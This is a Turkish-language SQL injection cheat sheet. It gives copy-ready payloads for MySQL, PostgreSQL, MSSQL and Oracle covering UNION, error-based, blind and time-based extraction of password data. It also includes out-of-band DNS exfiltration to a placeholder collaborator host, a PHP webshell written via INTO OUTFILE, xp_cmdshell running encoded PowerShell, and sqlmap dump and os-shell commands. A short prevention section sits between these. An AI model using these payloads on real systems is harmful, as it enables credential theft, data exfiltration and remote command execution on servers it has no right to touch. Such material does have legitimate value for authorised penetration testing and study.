SQL Injection, bir web uygulamasının kullanıcı girdisini doğrudan SQL sorgularına dahil etmesi sonucu kötü niyetli kullanıcıların veritabanına izinsiz erişmesine yol açan bir güvenlik açığıdır.
Bu zafiyet, genellikle kullanıcıdan gelen verilerin doğrulanmadan veya filtrelenmeden SQL sorgusuna dahil edilmesiyle ortaya çıkar.
Saldırganlar, SQL Injection sayesinde veritabanındaki verileri okuyabilir, değiştirebilir, silebilir veya hassas bilgilere ulaşabilir.
Bazı durumlarda SQL Injection, işletim sistemi komutlarının çalıştırılmasına veya sunucuya kalıcı arka kapı (backdoor) yerleştirilmesine bile yol açabilir.
Zafiyetin en yaygın olduğu yerler; giriş formları, arama kutuları, URL parametreleri ve HTTP header’larıdır.
Uygulamada yetkilendirme kontrolleri iyi yapılmamışsa, saldırgan yönetici yetkileriyle işlem yapabilir.
# MySQL PostgreSQL MsSQL
UNION SELECT NULL-- -
UNION SELECT NULL,NULL-- -
UNION SELECT NULL,NULL,NULL-- -
# Oracle
UNION SELECT NULL FROM dual-- -
UNION SELECT NULL,NULL FROM dual-- -
UNION SELECT NULL,NULL,NULL FROM dual-- -
DB Versiyon
# MySQL MsSQL
UNION SELECT @@version-- -
#PostgreSQL
UNION SELECT version()-- -
# Oracle
UNION SELECT banner FROM v$version-- -
Content Listing
# MySQL MsSQL PostgreSQL
UNION SELECT table_name FROM information_schema.tables-- -
UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
UNION SELECT password FROM users-- -
# Oracle
UNION SELECT table_name FROM all_tables-- -
UNION SELECT column_name FROM all_tab_columns WHERE table_name='users'-- -
UNION SELECT password FROM users-- -
String Concat
# MYSQL
UNION SELECT username password FROM users-- -
UNION SELECT CONCAT(username,password) FROM users-- -
# Oracle PostgreSQL
UNION SELECT username||'~'||password FROM users-- -
# MSSQL
UNION SELECT username+'~'+password FROM users-- -
Visible Error Based SQLi
# MySQL
AND (SELECT 'a' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users LIMIT 1))))-- -
# PostgreSQL
AND CAST((SELECT password FROM users LIMIT 1) AS int)=1-- -
# MsSQL
AND (SELECT 'a' WHERE 1=(SELECT TOP 1 password FROM users))='a'-- -
Blind SQLi Mantıksal Yanıtlar
AND 1=1-- -
AND 1=2-- -
# MySQL PostgreSQL
AND (SELECT 'a' FROM users LIMIT 1)='a'-- -
# MsSQL
AND (SELECT TOP 1 'a' FROM users)='a'-- -
# Oracle
AND (SELECT 'a' FROM users WHERE ROWNUM = 1)='a'-- -
# MySQL MsSQL PostgreSQL
AND (SELECT 'a' FROM users WHERE username='administrator')='a'-- -
AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='p'-- -
AND (SELECT SUBSTRING(password,1,2) FROM users WHERE username='admin')='pa'-- -
# Oracle
AND (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='p'-- -
AND (SELECT SUBSTR(password,1,2) FROM users WHERE username='admin')='pa'-- -
Blind SQLi Mantıksal Hatalar
# MySQL PostgreSQL MsSQL
AND (SELECT 'a')='a'-- -
# Oracle
AND (SELECT 'a' FROM dual)='a'-- -
# Tablo bulma
# MySQL PostgreSQL
AND (SELECT 'a' from users LIMIT 1)='a'-- -
# MsSQL
AND (SELECT TOP 1 'a' from users)='a'-- -
# Oracle
AND (SELECT 'a' from users ROWNUM=1)='a'-- -
# Oracle
AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a'-- -
# MsSQL
AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'-- -
# PostgreSQL
AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE 'a' END)='a'-- -
# MySQL
AND (SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a'))='a'-- -
# Oracle
AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MsSQL
AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# PostgreSQL
AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MySQL
AND (SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a') FROM users WHERE username='admin')='a'-- -
# Oracle
AND (SELECT CASE WHEN SUBSTR(password,1,1)='p' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# PostgreSQL
AND (SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN 1/(SELECT 0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MsSQL
AND (SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN 1/0 ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MySQL
AND (SELECT IF(SUBSTRING(password,1,1)='p',(SELECT table_name FROM information_schema.tables),'a') FROM users WHERE username='admin')='a'-- -
Blind Time Based SQLi
# PostgreSQL
||pg_sleep(10)-- -
# MySQL
AND (SELECT SLEEP(10))-- -
# MsSQL
WAITFOR DELAY '0:0:10'-- -
# Oracle
||(SELECT dbms_pipe.receive_message(('a'),10))-- -
# PostgreSQL
||(SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)-- -
# MySQL
AND (SELECT IF(1=1,SLEEP(10),'a'))-- -
# MsSQL
IF (1=1) WAITFOR DELAY '0:0:10'-- -
# Oracle
||(SELECT CASE WHEN (1=1) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE 'a' END FROM dual)-- -
# PostgreSQL
||(SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='admin')-- -
# MySQL
AND (SELECT IF(SUBSTRING(password,1,1)='p',SLEEP(10),'a') FROM users WHERE username='admin')-- -
# MsSQL
IF (SELECT COUNT(*) FROM EMPLOYEE WHERE SUBSTRING(password, 1, 1) = 'p' AND username='admin')=1 WAITFOR DELAY '00:00:10'-- -
# Oracle
||(SELECT CASE WHEN (SUBSTR(password,1,1)='p') THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE 'a' END FROM users WHERE username='admin')-- -
DNS Lookup
# PostgreSQL
copy (SELECT 'a') to program 'nslookup COLLABORATOR'-- -
# MySQL
LOAD_FILE('\\\\COLLABORATOR\\a')-- -
SELECT 'a' INTO OUTFILE '\\\\COLLABORATOR\a'-- -
# MSSQL
exec master..xp_dirtree '//COLLABORATOR/a'-- -
# Oracle
UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://COLLABORATOR/"> %remote;]>'),'/l') FROM dual-- -
UNION SELECT UTL_INADDR.get_host_address('COLLABORATOR')-- -
# PostgreSQL
create OR replace function f() returns void as $$ declare c text;declare p text;begin SELECT into p (SELECT 'a');c := 'copy (SELECT '''') to program ''nslookup '||p||'.COLLABORATOR''';execute c;END;$$ language plpgsql security definer;SELECT f();
# MySQL
SELECT 'a' INTO OUTFILE '\\\\COLLABORATOR\a'
# MSSQL
declare @p varchar(1024);set @p=(SELECT 'a');exec('master..xp_dirtree "//'+@p+'.COLLABORATOR/a"')
# Oracle
UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT 'a')||'.COLLABORATOR/"> %remote;]>'),'/l') FROM dual
RCE
Eğer veritabanın diske yazma yetkisi varsa sunucuya bir shell dosyası atabiliriz.
# Mysql
UNION SELECT "<?php system($_GET['cmd']);?>", null, null INTO OUTFILE "/var/www/html/tmp/webshell.php"-- -
# MSSQL
UNION SELECT NULL,NULL;EXECUTE sp_configure 'show advanced options', 1;-- -
UNION SELECT NULL,NULL;RECONFIGURE;-- -
UNION SELECT NULL,NULL;EXECUTE sp_configure 'xp_cmdshell', 1;-- -
UNION SELECT NULL,NULL;EXECUTE xp_cmdshell 'powershell -e base64';-- -
Önlemler
Kullanıcıdan alınan tüm veriler, SQL sorgularında doğrudan kullanılmadan önce mutlaka doğrulanmalı ve temizlenmelidir (input validation & sanitization).
Parametrik (hazırlanmış/prepared) sorgular ve sorgu bağlamaları (bind variables) kullanılmalıdır.
ORM (Object-Relational Mapping) kütüphaneleri gibi SQL sorgularını otomatik yöneten araçlar tercih edilmelidir.
Veritabanı kullanıcısına minimum yetki verilmelidir; örneğin sadece okuma yapılacaksa yazma ve silme yetkileri verilmemelidir.
Hatalı girişlerde dönen hata mesajları detay içermemeli, saldırgana yol gösterici bilgi vermemelidir.
Web Application Firewall (WAF) gibi katmanlar kullanılarak şüpheli SQL ifadeleri engellenebilir.
SQL sorgularında whitelist (izin verilen girdiler listesi) yaklaşımı uygulanmalıdır.
Araçlar
SQLMap
sqlmap -u https://example.com
sqlmap -r req.txt
sqlmap -r req.txt --dbs
sqlmap -r req.txt -D <DB> --tables
sqlmap -r req.txt -D <DB> -T <TABLE> --dump
sqlmap -r req.txt --os-shell
# Sadece belirtilen parametreyi tarar
sqlmap -r req.txt -p keyword
# Zorunlu https kullanır (302 Redirect veriyorsa ise yarar)
sqlmap -r req.txt --force-ssl
# Eski taramalari gormezden gel
sqlmap -r req.txt --flush-session
# Random User agent
sqlmap -r req.txt --random-agent
# Soru sorma
sqlmap -r req.txt --batch
# Thread arttir
sqlmap -r req.txt --threads=10
# Risk ve tarama seviyesi
sqlmap -r req.txt --level 5 --risk 3
# Sadece tek veritabani tipi icin saldiri dener
sqlmap -r req.txt --dbms <DBMS>
# Sadece belirtilen teknikleri dener
sqlmap -r req.txt -technique=BEUSTQ
# B: Boolean-based blind
# E: Error-based
# U: Union query-based
# S: Stacked queries
# T: Time-based blind
# Q: Inline queries
sqlmap -r req.txt --tamper between # >< karakterlerini kullanmaz
sqlmap -r req.txt --search -T user # Tablo,DB,Sütun ismi arar
sqlmap -r req.txt --csrf-token="csrf-token" # CSRF Token Bypass